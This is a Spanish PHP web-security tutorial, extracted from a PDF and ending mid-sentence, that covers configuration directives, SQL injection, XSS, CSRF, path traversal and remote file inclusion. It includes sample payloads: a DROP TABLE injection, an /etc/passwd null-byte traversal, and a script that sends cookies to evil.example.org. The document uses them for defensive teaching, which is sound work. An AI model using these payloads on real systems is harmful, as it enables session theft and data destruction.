Seguridad en Aplicaciones WebBasado en la programacin en PHP

PHP es una lengua muy fcil a aprender, y muchos programadores lo aprenden como manera de agregar interactividad a sus Sitio Web. Desafortunadamente, eso significa a menudo los programadores de PHP, especialmente sos ms nuevos al desarrollo web, cometen ciertos riesgos de seguridad y desaprovechan el potencial que sus usos pueden contener.

Objetivo del documento El objetivo de este documento es que el programador que lo lea adquiera unas nociones bsicas (y no tan bsicas) sobre seguridad que pueda aplicar a la hora de hacer sus aplicaciones. La mayora de temas que aqu se presentan son temas reales, que se producen al no tener el programador tales nociones. La mayora de temas en los que se va a basar el documento estn orientados al uso en pginas web. Entiendo como usuario malintencionado aquel que busca en nuestra aplicacin fallas de seguridad y las explota por puro aburrimiento, sin nimo de reportar esos fallos al programador para que puedan ser subsanados (hay gente que lo hace). La mejor forma de protegerse es no confiar nunca en cualquier valor que no sea fijo. Si no ests seguro de que una variable va a tener el valor que esperas, o que una llamada a unlink() borra el archivo que quieres, asegrate, pues puede ser por ah por donde empiece un ataque. Asegurarse no consiste en ejecutar el script y decir uy, esto funciona como espero, sino que hay que agotar todas las posibilidades de ataque antes de subir tu pgina al servidor definitivo.

Cmo leerlo El documento presupone ciertos conocimientos de PHP, y que el lector sea capaz de poner atencin al leer, por lo que se pide encarecidamente que, en caso de que la tengas puesta, quites la msica y prestes total atencin a lo que hay escrito.

Los bloques de cdigo son ejemplos: los habr que funcionen y que no. Hay ejemplos de lo que hay que hacer, y tambin de lo que no hay que hacer, todo con el objetivo de que el lector aprenda a arreglar sus errores viendo cdigo de otra persona. A lo largo de todo el documento se podrn ver ejemplos que presentan fallos de seguridad, debido a una mala configuracin de PHP o un mal uso de las llamadas a las variables. En otros casos vers ejemplos cuyo cdigo tiene en cuenta los principales aspectos de seguridad. Es muy importante que NO copies y pegues directamente estos cdigos en tu pgina. Antes debes comprender todo lo que se explique para poder aplicarlo.

Directivas de configuracin Archivos de configuracin php.ini Archivo de configuracin de PHP. Puedes ver que php.ini ests usando con phpinfo (ms adelante se explica qu es y cmo usar phpinfo). httpd.conf En l guarda su configuracin el servidor HTTP Apache; al ser este el ms utilizado por desarrolladores y servicios de alojamiento (tanto gratuitos como de pago) es en el que se centrarn los comentarios de este documento. Normalmente se encuentra en el directorio conf en el directorio raz de Apache. .htaccess Fichero especial que usa Apache en el que se pueden poner ciertas llamadas a sus directivas o las de algunos mdulos que haya cargado. Requiere permisos para poder utilizarlo. Ms adelante se ensea a comprobar si es posible su uso. Tipos de directivas PHP_INI_SYSTEM Las directivas de este tipo se pueden modificar en el php.ini y en el httpd.conf PHP_INI_PERDIR Las directivas de este tipo pueden cambiarse en los archivos php.ini, httpd.conf y .htaccess. Para saber cmo cambiarlas en archivos .htaccess consulta la siguiente seccin. PHP_INI_USER Segn el manual de PHP (en su versin espaola): La entrada puede definirse en scripts de usuario. Si miramos el manual en ingls (ms recomendable, la verdad) veremos que en realidad quiere decir que las directivas pueden ser modificadas en el

registro de Windows. Aunque listada en el manual, parece no haber ninguna directiva que sea de este tipo (supongo que se podrn modificar las de tipo PHP_INI_SYSTEM). Al no ser la mayora de servicios de alojamiento usuarios de Microsoft Windows no explicar como cambiar estas directivas. PHP_INI_ALL Estas directivas pueden ser cambiadas en cualquier parte, incluso en el propio script por medio de ini_set().

Cmo cambiar directivas del tipo PHP_INI_PERDIR Lo primero que deberas hacer es obtener informacin sobre la actual configuracin del servidor, mediante el uso de estas lneas. <?phpphpinfo() ?> La funcin phpinfo() nos muestra informacin sobre la configuracin de PHP y sobre la mquina en la que est instalado. En la pgina que genera veremos como est ajustado PHP. Es importante familiarizarse con esta funcin y con su salida, puesto que es bsica y se usar muy a menudo. Antes de explicar como cambiar este tipo de directivas debes asegurarte de que tu servidor cumple una serie de requisitos: PHP como mdulo de Apache Es fcil saber si PHP est compilado o instalado como mdulo de Apache. Simplemente tienes que mirar en el phpinfo() la lnea en la que pone Server API tenga un valor como Apache 2.0 Handler. AllowOverride con el valor Options o All Esto es un poco ms pesado de comprobar, hay que hacer lo siguiente: pon en un archivo llamado .htaccess en el directorio que tengas la pgina una cadena como asdasd123. Si Apache muestra un Internal Server Error al actualizar esa pgina es que tenemos permiso para usarlos. Si cumples estos dos requisitos ya puedes cambiar el valor de register_globals (u otras opciones de configuracin de PHP) en el archivo .htaccess del directorio sobre el que queremos aplicar estas reglas (puede que tengas que crearlo): #Para directivas con valores booleanos (On/Off, 1/0) se usa php_flag php_flagregister_globals Off

#Para otras directivas se usa php_value php_valueerror_reporting 4095

 register_globals No nos engaemos, tener register_globals a on no es inseguro, lo que provoca los fallos de seguridad es el no programar bien y el no tener en cuenta a posibles atacantes. Cualquier variable que no definamos, o cualquiera de la que no comprobemos datos puede ser vctima de envenenamiento de variables, aqu voy a exponer un poco que hacer en estos casos. La comunidad PHP decidi desactivarlo por defecto (antes estaba activado) a partir de la versin 4.2.0. Esta directiva inicialmente era de tipo PHP_INI_ALL (se poda cambiar con ini_set() en el php.ini o mediante archivos .htaccess), pero a partir de PHP 4.2.3 es de tipo PHP_INI_PERDIR (se puede cambiar solamente desde el php.ini o los archivos de configuracin de Apache). Ms abajo se explica como cambiar valores de configuracin con este tipo de archivos. La razn por la que en algunos de los ejemplos de este documento se usar register_globals a on es para que se vean los peligros que corres si lo tienes activado, y como (en medida de lo posible) subsanarlos. Razones para tenerlo desactivado Tenerlo activado no hace ms insegura una aplicacin, pero tenerlo desactivado la hace mas segura? S, as es. No porque nos vaya a proteger contra los "malvados juakers que comen donuts y pizza", no es milagroso, pero nos va a forzar a no usar variables globales para referirnos a valores pasados por POST, GET, valores de sesin o cookies. Matrices superglobales ($_GET, $_POST, $_SESSION) Mucho se ha hablado de las variables (o matrices) superglobales (las que debes usar para referirte a lo mencionado anteriormente), pero todava queda gente que, o bien no las conoce, o bien cree que no son necesarias, o que simplemente no las usa por pura pereza, por no modificar su cdigo (aunque esto le vaya a beneficiar, y mucho). Qu le vamos a hacer, as somos A partir de la versin 4.1.0 de PHP estn disponibles estas variables, y a partir de YA (si todava no lo haces) debes usarlas.

La diferencia entre las variables normales (presuponiendo el valor de register_globals activado, que es como lo tienen la mayora de servicios de alojamiento, gracias a aplicaciones como PHP-Nuke y similares) y las matrices superglobales es muy simple. Usando matrices superglobales no se puede producir envenenamiento de variables normales a travs de URL, de cookies falseadas, etc. La razn de este comportamiento es que register_globals (cuando est activado, obviamente) inyecta los valores de las variables que se pasan al script (lo que en esencia sera como usar la funcin extract() en cada una de las matrices superglobales), esto es terriblemente daino si no se sopesan las consecuencias. Imaginemos por un momento que nuestro panel de control comprueba que el usuario est acreditado para acceder a l de la siguiente forma (el ejemplo es de PHP.net): <?php if (usuario_valido()) { $autorizado = true; } if ($autorizado) { echo "Bienvenido a mis documentos importantes\n"; } else { echo "No tienes acceso a esta seccin\n"; } ?> Poquitas lneas, eh? Pues contienen varios fallos Si te fijas es muy simple resolverlos. Vamos a analizar el cdigo: if (usuario_valido()) { $autorizado = true; } Si el usuario es vlido definimos la variable $autorizado como true, y si no lo est? no la definimos? Imagina por un momento que acceden a ese documento con la urlpanel.php?autorizado=1, que pasara? saldra el bonito mensaje de Bienvenido a mis documentos importantes. Recuerda definir siempre las variables que vayas a usar. El ejemplo anterior, bien programado sera algo parecido a esto: <?php if (usuario_valido()) {

//Podemos guardar informacin til $_SESSION['autorizado'] = 'Nombre del usuario'; } else { $_SESSION['autorizado'] = false; } //$_SESSION['autorizado'] va a estar siempre definida if ($_SESSION['autorizado'] !== false) { echo "Bienvenido a mis documentos importantes {$_SESION['autorizado']}\n"; } else { echo "No tienes acceso a esta seccin\n"; //Finalizamos la ejecucin de la aplicacin, no nos interesa que se siga interpretando cdigo exit; } ?> Qu hacer cuando se tiene activado Puedes intentar desactivarlo usando el mtodo que se explica ms arriba. De todas maneras, si programas bien una aplicacin (como se detalla en la siguiente seccin) es improbable que tener esta directiva activada te afecte en demasa, as que no te preocupes. Buenas costumbres A continuacin tienes una lista de cosas que debes tener en cuenta:
y y y

Definir siempre las variables antes de usarlas. Usar matrices superglobales en tus aplicaciones, en detrimento de las antiguas globales. No usar nombres tpicos para las variables, ya que aumentas la posibilidad de que un atacante descubra como modificarlas.

 error_reporting

Esta directiva, aunque extraordinariamente til, puede llevar a nuestro atacante a conocer datos sobre nuestras aplicaciones, por lo que distinguiremos dos entornos: el entorno de desarrollo y el entorno de usuario final. Se explicar en que consiste cada una en su correspondiente seccin. error_reporting (tanto la directiva como la funcin) admiten como parmetro un nmero entero. Puedes usar las constantes numricas que provee PHP para el control de errores y

combinarlas con operadores bit a bit en el archivo php.ini y en tus aplicaciones, pero no en los archivos httpd.conf o .htaccess. Los valores por defecto son los siguientes: PHP 3 El valor por defecto es 7, lo que equivale a E_ERROR | E_WARNING | E_PARSE, pero dado que en PHP 3 no se soportaban las constantes en el archivo php3.ini el valor haba de ser numrico. PHP 4 y PHP 5 E_ALL& ~E_NOTICE. Se muestran todos los errores salvo los de tipo E_NOTICE y E_STRICT (este ltimo solo es aplicable a PHP 5). Las constantes predefinidas dedicadas al manejo de errores que usaremos habitualmente son estas: E_ERROR Errores fatales al ejecutar una aplicacin, interrumpen la ejecucin del mismo. Estos errores se producen por ejemplo al intentar utilizar funciones no definidas. E_WARNING Advertencias en tiempo de ejecucin, no detienen la ejecucin de una aplicacin. Se produce cuando (por ejemplo) se proporciona a una funcin (como fwrite()) un recurso no vlido como parmetro. E_NOTICE El tipo menos conocido, junto con E_STRICT, y de los ms tiles. Estos errores se producen mayormente al encontrar el intrprete de PHP una variable o constante no definida. No detienen la ejecucin. E_ALL Agrupa todos los errores excepto los de tipo E_STRICT. E_STRICT Est disponible nicamente a partir de PHP 5. Si habilitas este tipo de error PHP lanzar avisos si encuentra cdigo obsoleto para que el programador (o sea, t) puedas corregirlo y as mantener la compatibilidad e interoperabilidad. Cada una de estas constantes tiene un valor numrico, puedes ver el valor de cada una imprimiendo la constante en cuestin. Como este tema tiene bastante miga se va a explicar en una seccin aparte.
 safe_mode

Es de tipo PHP_INI_SYSTEM y est desactivada por defecto.

Esta directiva es, segn el manual de PHP, un intento para resolver el problema de la seguridad en un servicio de alojamiento compartido (el ms comn, poca gente puede permitirse un servidor dedicado). Bsicamente lo que hace esta directiva al estar activada es comprobar que los ficheros sobre los que operamos desde otro fichero (la aplicacin) tienen el mismo dueo (en sistemas UNIX). Veamos un ejemplo de esto (que puede sonar perfectamente a chino, no te preocupes): $ ls -l -rw-r--r-- 1 root root 36 2005-04-09 03:02 fichero1.php -rw-r--r-- 1 aeoris aeoris 73 2005-04-09 03:02 fichero2.php Como se puede ver el archivo con nombre fichero1.php pertenece al superusuario (o root) y el fichero2.php a aeoris, ahora veamos que pasa si intento leer el contenido de fichero1.php desde el archivo que me pertenece (fichero2.php) teniendo safe_mode activado. Warning: file_get_contents(): SAFE MODE Restriction in effect. The script whose uid is 1000 is not allowed to access fichero1.php owned by uid 0 in /var/www/fichero2.php Al no tener los mismos dueos se producira un error. Esto en un momento dado nos podra proteger contra otros usuarios del mismo alojamiento que, por ejemplo, quieran obtener datos sobre nuestras aplicaciones. En el momento en que intentasen hacerlo no podran. Pero no podran con PHP con cualquier lenguaje es una cosa trivial hacer un explorador de archivos del sistema sencillito, con lo que puede ver donde estn nuestros archivos, y en la mayora de casos (al no estar en PHP y no tener safe_mode) visualizar el cdigo fuente. Mi consejo con este tema es que no confes demasiado en esta directiva, pues no te protege en absoluto. Suele ser ms molesta que til (es mi opinin, no ha de tomarse como un referente). Tenindola activada tambin se restringirn algunas funciones, hay una lista de estas funciones en el manual de PHP que los mismos escritores definen como posiblemente incorrecta e incompleta.
 open_basedir

Es de tipo PHP_INI_SYSTEM y tiene valor nulo por defecto. Lo que hace es limitar el espacio de trabajo al directorio al que est ajustada la directiva. Si quisieramos incluir un fichero por encima de ese directorio lanzara un error. Veamos un ejemplo (teniendo en cuenta que open_basedir vale /var/www): <?php readfile('/etc/resolv.conf'); ?> Produciraeste error: Warning: readfile(): open_basedir restriction in effect. File(/etc/resolv.conf) is not within the allowed path(s): (/var/www/) in /var/www/open_basedir.php on line 3 Este tipo de error normalmente se ve al usar la funcin copy() para mover archivos que se han subido con un formulario. Este comportamiento es errneo y debera usarse move_uploaded_file() en su lugar. Esta directiva puede ser til en un momento dado, pero por lo general dar quebraderos de cabeza innecesarios.

Nomenclatura de archivos Este es un tema un poco retorcido: a qu me refiero con nomenclatura de archivos? Simplemente al nombre que se les pone a los archivos o directorios (que no son ms que archivos que a su vez contienen otros archivos). Un hacker intentar encontrar el nombre del archivo que contiene datos tales como la contrasea de la base de datos o la contrasea de acceso al panel de control, datos con los que pueda causar un dao, o simplemente probar la seguridad de una aplicacin. Intenta no poner fcil que se averiguen los nombres de los archivos. Con esto quiero decir que no le pongas al panel de administracin como nombre admin.php o cpanel.php (si, esto tambin es aplicable si los tienes en directorios a parte). He visto gente que le pone extensin .inc (por include supongo) a sus aplicaciones programadas en PHP. Esto es terriblemente peligroso. Accediendo a la URLde el archivo

en el que tengas la conexin a la base de datos por ejemplo tendran los datos para conectar, con lo que podran borrarla en un momento dado. He visto casos de pginas muy importantes y que la mayora usamos mucho que nombraban a sus archivos con extensiones de este tipo, con lo que obtener el cdigo y hacer un volcado de la base de datos (nombres de usuario, contraseas, nmeros de tarjeta de crdito) no fue nada difcil. Estos dos ltimos prrafos vienen a decir que no debes poner bajo ningn concepto extensiones que no interprete PHP por defecto a tus aplicaciones. Si eres un rato cabezn y no quieres cambiar la extensin (demasiado trabajo quiz?) te recomiendo que vetes el acceso a estos archivos de forma directa, puedes poner el siguiente cdigo en un archivo .htaccess (aunque depende de que tu servidor sea Apache, de que puedas usar .htaccess): <FilesMatch "\.inc$"> Order allow,deny Deny from all </FilesMatch> Las mismas reglas que se explican arriba sobre no poner nombres tpicos a los archivos se aplican a los directorios. Debes cuidar de tener una estructura de directorios limpia y clara de tu aplicacin, para trabajar ms cmodamente con ella. Esto no significa que debas descuidar los nombres de los directorios; puedes poner un nmero aleatorio delante del nombre de cada uno para as mantenerlas ms o menos fuera del alcance de ciertos elementos. Errores Ya se ha hablado un poco de como los errores son mostrados (o no) por PHP; se ha dicho que, cuando la aplicacin se encontraba en el servidor pblico, la mejor opcin era ocultar al usuario los errores lanzados por el intrprete y ofrecerle unos ms amigables y porque no, carecientes de informacin relativa al servidor. Como se puede suponer, esto es bueno, pero carece de utilidad real si no sabemos siquiera que esos errores han existido. Debemos ser informados si ocurren, y esto obviamente no lo podemos dejar en manos del usuario. Mostrar errores segn entorno

Dependiendo de donde tengamos alojada la pgina (en un servidor local o en uno final) deberemos mostrar o no los errores. Antes de que subas la pgina debes limar la mayora de asperezas que pueda tener, aqu vers cmo tener bien configurado el reporte de errores. y Entornos de desarrollo

En estos casos nos interesa que se muestren absolutamente todos los errores, puesto que nos ayudarn a corregir posibles fallas de seguridad (como que no definimos una variable por ejemplo) entre otras cosas. PHP, como hemos visto antes, ajusta a un valor por defecto la directiva error_reporting, tenemos dos opciones para cambiarla (supongamos que ests en un servidor local, por tanto tienes acceso a todos los ficheros de configuracin): Cambiar la configuracin en el php.ini Esta es la solucin ms fcil, y tambin la mejor. En el archivo php.ini localiza la linea del error_reporting y cambia su valor por E_ALL | E_STRICT (si usas PHP 5) o E_ALL si usas PHP 4. Usar la funcin error_reporting() Esta solucin es bastante pesada, por lo que no la recomiendo. Se trata de llamar a la funcin error_reporting() en cada uno de los archivos en los que queramos ajustar el reporte de errores. Debes llamarla con los parmetros con los que se ajustara la directiva error_reporting (mira el punto anterior). y Entornos de usuario final

Ten siempre en cuenta al usuario, qu leches le importa que no puedas conectar a la base de datos? o que haya un error de tipo sintctico? Absolutamente nada. Tambin debes considerar que un usuario malicioso podra intentar forzar a que hubiesen errores, consiguiendo de esta manera informacin que le fuese til a la hora de intentar vulnerar la seguridad de nuestra aplicacin. Qu se puede hacer para remediarlo? Simple. Con las mismas que antes (en el punto anterior, en nuestro servidor local) hacamos que se mostrasen todos los errores aqu nos interesa que no se muestre ninguno. Para ello haremos uso de otra directiva de PHP, diferente de error_reporting, se trata de display_errors(). Esta directiva es del tipo PHP_INI_ALL, por lo que puedes cambiarla usando ini_set(). Si eliges cambiarla de este tipo debes llevar cuidado, ya que si se produce un error fatal se mostar (ya que el ini_set() nunca llegar a ejecutarse, puesto que se ha terminado la

ejecucin antes de empezar a interpretarlo). A estas alturas ya conoces como cambiar los valores de las directivas de otras formas. Pero y si se produce un error, cmo nos enteraramos? Sigue leyendo!. Registro de errores Est claro que no todos los errores tienen el mismo impacto en la pgina, uno por ejemplo puede hacer que salga mal una letra, y otro que una seccin no se muestre. Es por ello que debemos ser informados de todos los errores que ocurran en nuestra pgina, desde el ms insignificante hasta los ms graves. PHP dispone de varias maneras de registrar los errores, la ms comn es usar el registro del sistema en sistemas UNIX (syslog) ajustando esto desde el propio php.ini, aunque no es recomendable, pues no tendremos acceso a este fichero, ya que est restringido al superusuario. Pasamos a explicar una forma correcta, aunque restrictiva (requiere Apache y poder usar ficheros .htaccess) de cazar hasta los errores de interpretacin (aunque estos, en teora, jams deberan estar presentes en el servidor). Tenemos que decirle a PHP tres cosas:
y y y

Que no muestre los errores. Que los registre. Un sitio donde registrarlos.

Ahora bien, ya se ha dicho que si lo hacemos en la misma aplicacin y se produce un error de los que paran la ejecucin esto no nos servira de nada, por eso debemos aadir al .htaccess lo siguiente: php_flagdisplay_errorsOff php_flaglog_errorsOn php_valueerror_log "Ruta al registro" En la tercera instruccin has de poner la ruta completa, a ser posible fuera del directorio visible por el usuario, de un archivo en el cual poner los errores. Tenemos otro mtodo, que puede usarse para casos puntuales: mandar correos electrnicos. Esto debe ser usado para avisarnos de que la base de datos no conecta, por ejemplo, o que una consulta SQL ha fallado. Nos serviremos de la funcin mysql_error() para mostrar este caso concreto:

<?php mysql_connect(/* datos de conexin varios*/) || ( mail('mail@example.org', 'Fallo al conectar a la base de datos', "MySQL ha devuelto lo siguiente:\n" . mysql_error()) && die("<p>Estamos experimentando problemas, vuelva luego</p>\n")); ?>

Aspectos de Seguridad en Desarrollos de Aplicaciones Web Algunos puntos importantes para obtener una aplicacin segura:  Contar con una gestin organizacional que apoye fuertemente a la seguridad  Establecer una metodologa de desarrollo  Administracin segura de la aplicacin Pilares de seguridad de la Informacin  Confidencialidad  Integridad  Disponibilidad Principios de Seguridad         Minimizar el rea de posibles ataques Valores por defecto seguros Principio de Mnimo Privilegio Separacin de Deberes Controlar las Posibles Fallas Seguridad a travs de Ocultamiento de Cdigo (Obscurity) Arreglar de manera correcta un problema de seguridad Uso de Sistemas Externos

Desarrollo de Aplicaciones
El Proyecto OWASP Open Web ApplicationSecurityProject http://www.owasp.org/  El proyecto estdedicado a encontrar e investigar las causas del software inseguro.

 Es una organizacin sin fines de lucro.  La participacin en OWASPes libre y estabierta para todo el mundo.  Produce la mayora de su material en forma abierta y colaborativa. OWASPTopTen http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project OWASPpresenta en consenso las diez vulnerabilidades ms crticas en Aplicaciones Web.           Cross SiteScripting(XSS) InjectionFlaws Ejecucin maliciosa de archivos Referencia insegura a objetos propios de la aplicacin Cross SiteRequestForgery(CSRF) Prdida de la informacin y manejo inapropiado de errores Vulnerar Autenticacin y Administracin de Sesiones Almacenamiento Criptogrfico Inseguro Comunicaciones Inseguras Fallo en el acceso a URL restringidas

Vulnerabilidades
XSS Ocurre cuando una aplicacin toma los datos suministrados por el usuario y lo enva al navegador sin validacin ni codificacin de contenido. XSSpermite al ataque ejecutar scripts en el navegador de la vctima, robar sesiones de usuario, modificar sitios web, etc. Tipos de XSS:  Reflected  Stored  DOMInjection InjectionFlaws Particularmente SQL Injection, ocurre cuando los datos del usuario son enviados a un intrprete como parte de un comando o query.

Si la entrada del usuario es pasada al intrprete sin validacin ni encodeo, la aplicacin es vulnerable. $sql= "SELECT * FROM tabla WHERE id= '" . $_REQUEST['id] . ""; Para impedir injectionsusar APIsseguras, tales como queriesparametrizados fuertemente tipadosy libreras de mapeo de objetos relacionales (ORM). Estas interfaces manejan toda la fuga de datos (data escaping) o no poseen escaping. Mientras que las interfaces seguras resuelven el problema, la validacin es recomendada adems para detectar ataques. SQL Injection $idThread= $_POST['idThread']; $sql= 'SELECT titulo FROM threadsWHEREidThread= ' . $idThread; if( !es_numerico($idThread) ) { // No es un nmero, mensaje de error y exit ...} Cdigo HTML <formmethod="post" action="inseguro.php"> <inputtype="text" name="idThread" value="4; DROP TABLE usuarios" /> <inputtype="submit" value="No pulse estebotn" /> </form> FinalmenteSELECT titulo FROM threadsWHEREidThread= 4; DROPTABLE usuarios

Ejecucin Maliciosa de Archivos El cdigo vulnerable en la inclusin remota de archivos permite incluir cdigo y datos hostiles.Los desarrolladores a menudo usan o concatenan entradas potencialmente vulnerables.En muchas plataformas los frameworkspermiten el uso de referencias a objetos externos, URLso referencias al sistema de archivos. Esto permite realizar:

 Ejecucin de cdigo remoto  Instalacin de rootkitremoto  Un constructor conocido como include$_REQUEST['nombre_archivo ];

vulnerable

muy

comn

es:

Referencia insegura a objetos propios de la aplicacin Un desarrollador expone una referencia a un objeto de implementacin interna como un archivo, directorio, registro de base de datos, clave, URL o parmetro de un form. <selectname="lenguaje"> <optionvalue="en">Ingles</option> </select> require_once($_REQUEST['lenguaje]."lenguaje.php"); Este cdigo puede ser atacado usando un stringcomo "../../../../etc/passwd%00" usando nullbyte injection. CSRF Un ataque CSRFfuerza al navegador de la vctima a enviar un pedido preautenticado a una aplicacin web vulnerable. Un ataque tpico contra un foro podra tomar el formulario dirigido al usuario para invocar alguna funcin, como por ejemplo la pgina de logoutde la aplicacin. <imgsrc=http://www.ejemplo.com/logout.php> Un ataque asfunciona porque las credenciales de autorizacin del usuario (tpicamente cookiesde sesin) podran ser incluidas automticamente en los pedidos al navegador, aun si el atacante no suministra las credenciales. PHP Top5 PHP Top5(http://www.owasp.org/index.php/PHP_Top_5) es un proyecto de OWASPbasado en la seccin de PHP del TOP 20 de SANS (Instituto dedicado a la investigacin y educacin de seguridad informtica). Es una clasificacin de cinco vulnerabilidades que afectan particularmente a Aplicaciones Web desarrolladas en el lenguaje PHP.  Ejecucin Remota de Cdigo (RemoteCodeExecution)

   

Cross-sitescripting(XSS) SQL Injection ConfiguracinPHP Ataques al sistema de archivos Seguridad en PHP

Muchos olvidan los aspectos de seguridad que deben ser tenidos en cuenta al implementar aplicaciones. Escribir aplicaciones PHP no es extremadamente difcil. Pero muchos olvidan los aspectos de seguridad que deben ser tenidos en cuenta al implementar estas aplicaciones. A veces no se piensa en el dao que puede sufrir un sitio web hasta que ya es demasiado tarde. Se debe empezar a disear con cabeza y no ser meros robots codificando. Veamos un poco ms a fondo las posibles amenazas y recomendaciones para hacer que nuestro sitio web sea un poco ms seguro.

Inyeccin SQL Este ataque se produce cuando un atacante ejecuta sentencias SQL en la base de datos del sitio web, insertando en un campo del formulario sentencias SQL dentro de otra sentencia SQL haciendo que se ejecute la sentencia invasora.

Se recomienda:
y

Filtrar los datos. Por ejemplo, si tenemos en nuestro formulario el campo username, y sabemos que los usuarios slo pueden estar compuestos por letras y nmeros, no se deben permitir caracteres como " ' " o " = " . O si se trata del campo e-mail, podemos utilizar expresiones regulares para validarlo, como preg_match('/^.+@.+\..{2,3}$/',$_POST['email'])

Usar funciones que escapan caracteres especiales de una cadena para su uso en una sentencia SQL, como mysql_real_escape_string(), la cual coloca barras invertidas antes de los siguientes caracteres: \x00, \n, \r, \, ', " y \x1a. O addslashes(), (la directiva de PHP magic_quotes_gpc est activada por defecto, y bsicamente ejecuta la funcin addslashes() en todos los datos GET, POST, y COOKIE. No se debe utilizar addslashes() en las cadenas que ya se han escapado con magic_quotes_gpc ya que se har un doble escape).

XSS (Cross Site Scripting) Las vulnerabilidades de XSS permiten ejecutar cdigo de scripting en el contexto del sitio web:
y

y y

Explotando la confianza que tiene un usuario de un sitio web. Puede que los usuarios no tengan un alto nivel de confianza en un sitio web, pero s el navegador. Por ejemplo, cuando el navegador enva cookies en una peticin. Haciendo que los sitios web muestren datos externos. Como aplicaciones de mayor riesgo que incluyen foros, clientes de correo web, o contenido de RSS. Cuando los datos externos no se filtran adecuadamente un atacante puede inyectar un contenido. Esto es tan peligroso como dejar que el atacante edite cdigo en el servidor.

Un usuario que ejecute este cdigo con JavaScript activado en su navegador ser redireccionado a evil.example.org, y las cookies asociadas al sitio web sern incluidas en la consulta:

<script>document.location document.cookie</script>

'http://evil.example.org/steal_cookies.php?cookies='

Se recomienda:

Filtrar todos los datos externos. El filtrado de datos es la prctica ms importante que se puede adoptar. Al validar todos los datos externos a medida que entran y salen de la aplicacin se mitigarn la mayora de las preocupaciones del XSS. Utilizar las funciones que tiene PHP que ayudan al filtrado. Pueden ser tiles htmlentities () que convierte caracteres a entidades HTML, strip_tags () que elimina las etiquetas HTML y PHP de una cadena y utf8_decode (). Basarse en listas blancas. Supongamos que los datos no son vlidos hasta que no se pruebe que lo son. Esto implica verificar la longitud y asegurar que slo los caracteres vlidos son permitidos. Por ejemplo, si se inserta el nombre y apellidos, se debe asegurar que slo se permiten letras y espacios. Por ejemplo Berners-Lee se considerara nula, pero esto se puede arreglar aadiendo este nombre a la lista blanca. Es mejor rechazar datos vlidos que aceptar datos maliciosos. Utilizar una convencin de nomenclatura estricta. Una convencin de nomenclatura puede ayudar a los desarrolladores a distinguir entre datos filtrados y sin filtrar.

CSRF (Cross Site Request Forgery) Explota la confianza que tiene un sitio web en la identidad de un usuario. Un ejemplo sera enviar los siguientes datos en la peticin:

GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1 Host: stocks.example.org User-Agent: Mozilla/5.0 Gecko Accept: text/xml, image/png, image/jpeg, image/gif, */* Cookie: PHPSESSID=1234

Se recomienda:
y y

Utilizar POST en lugar de GET en los formularios. Sobre todo cuando se est realizando una accin que involucra una compra. Utilizar $_POST en lugar de confiar en register_globals. Utilizar el mtodo POST es intil si se confa en register_globals y se referencian variables como $symbol o $quantity. Lo mismo sucede si se utiliza $_REQUEST. Generar un token nico para cada peticin y verificarlo posteriormente.

Directory Transversal Este ataque se produce cuando se especifican rutas de ficheros como "../../../../file" en los datos del formulario y mediante un script se llama a estos ficheros. Proporcionando a un atacante la posibilidad de realizar cambios en el sistema de ficheros. Si dentro del script de PHP se incluye: require $page . '.php'; Sabiendo que esta pgina se almacena en /home/someone/public_html/index.php, un atacante podra hacer index.php?page=../secret accediendo a /home/someone/secret.php Se recomienda:
y y

Tener un array de pginas vlidas. Comprobar que el archivo solicitado coincide con un formato concreto.

RFI (Remote File Inclusion) Como su nombre indica, se produce cuando se incluye un archivo remoto. Por ejemplo, si existe un archivo en la ruta http://example.com/malice.php y nuestro script se encuentra en http://site.com/index.php. Un atacante puede hacer esta peticin: http://site.com/index.php?page=http://example.com/malice lo que provocar que el archivo se ejecute y escriba un nuevo fichero en disco. Pudiendo ser este fichero una shell que permita la ejecucin de comandos.

O por ejemplo, asignar a page el valor http://example.com/malice.php? seguido de una consulta a base de datos.

Se recomienda:
y y

No confiar en los datos que no provengan de nuestro sistema. Se deben validar los datos que introduce el usuario.

Ejecucin Remota de Cdigo Afecta a las aplicaciones que aceptan nombres de archivos por parte del usuario cuando el sitio web maneja el ingreso y la inclusin de archivos y URLssin chequeo previo. Las causas de este problema son:

 Validacin insuficiente de las entradas del usuario antes de llamados al sistema de archivos tales como require, include o fopen()  Privilegios por defaultexcesivos  A partir de la versin 4.0.4 de PHP, la opcin allow_url_fopen es habilitada por default, permitiendo escribir aplicaciones vulnerables sin realizar muchos cambios de configuracin. Apartir de PHP 4.3.4, el proyecto PHP cambio el acceso a PHP_INI_SYSTEM, el cual previene deshabilitando esta caracterstica usando ini_set().

Configuracin PHP La configuracin de PHPtiene una conexin directa con la severidad de los ataques. No hay una configuracin de PHPaceptada por la mayora como segura, tampoco la configuracin por defecto. Algunas consideraciones:      register_globals allow_url_fopen magic_quotes_gpc magic_quotes_runtime safe_modeyopen_basedir

Ataques al sistema de archivos Inclusin de archivo local (tal como /etc/passwd, archivos de configuracin, o logs) Manipulacin de sesiones locales UploadInjectionde archivos locales La mayora de los administradores del sitio corren PHPsin usuario bajo Apache, las vulnerabilidades sobre el sistema de archivos local afectan a todos los usuarios dentro de un hostsimple. Seguridad en sesiones Las sesiones y las cookies pueden ser usadas para comprometer las cuentas de los usuarios. Cuando se almacena una cookie en el ordenador esta puede ser modificada por el usuario. Se recomienda:

Cambiar el identificador de la sesin a menudo. Utilizando la funcin session_regenerate_id() se reduce la posibilidad de que el identificador sea interceptado. Usando versiones PHP5.2 o posteriores se puede denegar al Javascript del navegador el acceso a la cookie activando el flaghttponly.

Esta es una pequea muestra de recomendaciones que har que nuestra aplicacin PHP sea algo ms segura.

Problemas ms comunes

Aqu estn algunos de los problemas ms comunes de seguridad y cmo evitarlos. Nunca, confiar en los usuarios Nunca debes confiar en que los usuarios te van a mandar los datos que tu esperas. Mucha gente responde a esto con algo comoOh, nadie estara interesado en mi sitio. Esta afirmacin no podra ser msincorrecta, siempre hay un usuario malvolo que quiere explotar un agujero de seguridad adems los problemas pueden presentarse fcilmente debido a un usuario que hace algo mal intencionalmente. Por todo esto la regla de todo desarrollador web tiene que ser "Nunca, confiar en los usuarios. Asumir que cada pieza de datos que tu sitio recoge de un usuario puede convertirse en un agujero de seguridad, siempre. Si la seguridad de tu sitio web es importante para ti, este un buen puntopara comenzar a aprender. Sera conveniente tener una hoja de seguridad para PHP al lado de tu escritorio con los puntos ms importantes en texto negrita grande. Variables globales En muchos lenguajes debes crear explcitamente un variable para utilizarlas. En PHP, hay una opcin, las register_globals, que puedes fijar en php.ini y que permite que utilices variables globales. Considera el cdigosiguiente: if ($password == 